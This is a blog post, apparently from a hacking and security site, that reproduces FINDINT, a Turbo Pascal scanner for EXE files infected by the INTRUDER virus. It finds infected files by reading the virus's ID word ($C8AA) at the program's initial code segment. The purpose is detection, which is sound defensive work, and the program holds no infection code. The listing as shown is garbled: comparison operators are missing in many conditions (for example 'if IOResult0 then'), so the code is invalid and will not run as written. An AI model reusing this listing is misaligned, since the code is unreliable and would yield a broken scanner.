Since the virus infects files without warning, it is essentially invisible. The following Turbo Pascal program, FINDINT, will locate the program on any disk drive. Just call it as “FINDINT D” to search the D: drive for infected files, etc.
{The program find_intruder determines which files are infected by the INTRUDER  virus on a specified disk drive. It works by looking for the same ID code as  the virus does when determining whether a file has already been infected. That  code is located at the initial code segment, offset 0, in the EXE file. This  must be located in the disk file and read, and compared with the value  contained in INTRUDER} program find_intruder;     {Compile with Turbo Pascal 4.0 or higher} uses dos;
const   id_check         :word=$C8AA;         {Intruder ID code word to look for}
type   header_type      =record              {EXE file header structure}     signature      :word;     lp_size        :word;     pg_count       :word;     rel_tbl_entries:word;     hdr_paragraphs :word;     minalloc       :word;     maxalloc       :word;     init_ss        :word;     init_sp        :word;     chksum         :word;     init_ip        :word;     init_cs        :word;     rel_tbl_ofs    :word;     overlay        :word;     end;
var   check_file       :file;         {File being checked}   header           :header_type;  {Exe header data area for file being checked}   id_byte          :word;         {Init CS:0 value from the file being checked}   srchpath         :string;       {Current path being searched}
{The following routine checks one file for infection by opening it, reading  the EXE header, calculating the location of Initial CS:0000, and reading 2  bytes from there. Then it compares those bytes with id_check. If they’re the  same, then the file is infected. If the signature is not correct, then the  program will also display that, so you can find out if you have any non-EXE  files with the extent .EXE with it.}
procedure check_one_file(fname:string); begin   assign(check_file,fname);             {Set up the file with this path\name} {$I-}                                   {I/O checking handled explicitly here}   reset(check_file,1);                  {Open the file}   if IOResult0 then                   {If an error, report it to the console}     begin       writeln(’IO error on the file ’,fname);       exit;     end;   BlockRead(check_file,header,sizeof(header));            {Read the EXE header}   if IOResult0 then     begin
     writeln(’IO error on the file ’,fname);       exit;     end;   if header.signatureord(’Z’)*256+ord(’M’) then     begin       writeln(fname,’ is not an EXE program file!’);       exit;     end;   Seek(check_file,16*(header.hdr_paragraphs+header.init_cs));  {Seek Init CS:0}   if IOResult0 then              {Don’t forget to take into account the size}     begin                                      {of header in calculating this!}       writeln(’IO error on the file ’,fname);       exit;     end;   BlockRead(check_file,id_byte,2);               {Read 2 bytes at Init CS:0000}   if IOResult0 then     begin
     writeln(’IO error on the file ’,fname);       exit;     end;   close(check_file);                                       {and close the file}   if IOResult0 then     begin       writeln(’IO error on the file ’,fname);       exit;     end; {$I+}                     {if id_byte read from file = id_check, it’s infected}   if id_byte=id_check then writeln(fname,’ is infected.’) end;
{The following routine checks all files in the specified path, or any of its  subdirectories for infection. It will check a whole disk if the initial path  is ’\’. Note that it is recursive, and if directories are nested too deep,  a stack overflow error will occur.}
procedure check_all_files(path:string); var   ExeFile          :SearchRec;   DirEntry         :SearchRec; begin   FindFirst(path+’\*.*’,Directory,DirEntry);   while DosError=0 do     begin       if (DirEntry.Attr and Directory  0)         and (DirEntry.Name[1]’.’) then           check_all_files(path+’\’+DirEntry.Name);       FindNext(DirEntry);     end;   FindFirst(path+’\*.EXE’,AnyFile,ExeFile);   while DosError=0 do     begin
     check_one_file(path+’\’+ExeFile.Name);       FindNext(ExeFile);     end; end;
begin {main}   if ParamCount=1 then srchpath:=ParamStr(1) {if drive on command line, use it}   else srchpath:=’’;                             {otherwise take default drive}   check_all_files(srchpath);                {and check all files on that drive} end.

About The Author
Hasan Shaikh is the founder and admin of ShmHack, a popular blog dedicated for Learners,Geeks and Bloggers. He is currently 19 years old and loves to post articles related to blogging,SEO,adsense,hacking,security,social medias,computer and android. Find more about him...

Post a Comment

Write Your Precious Comments Here.!

 
Top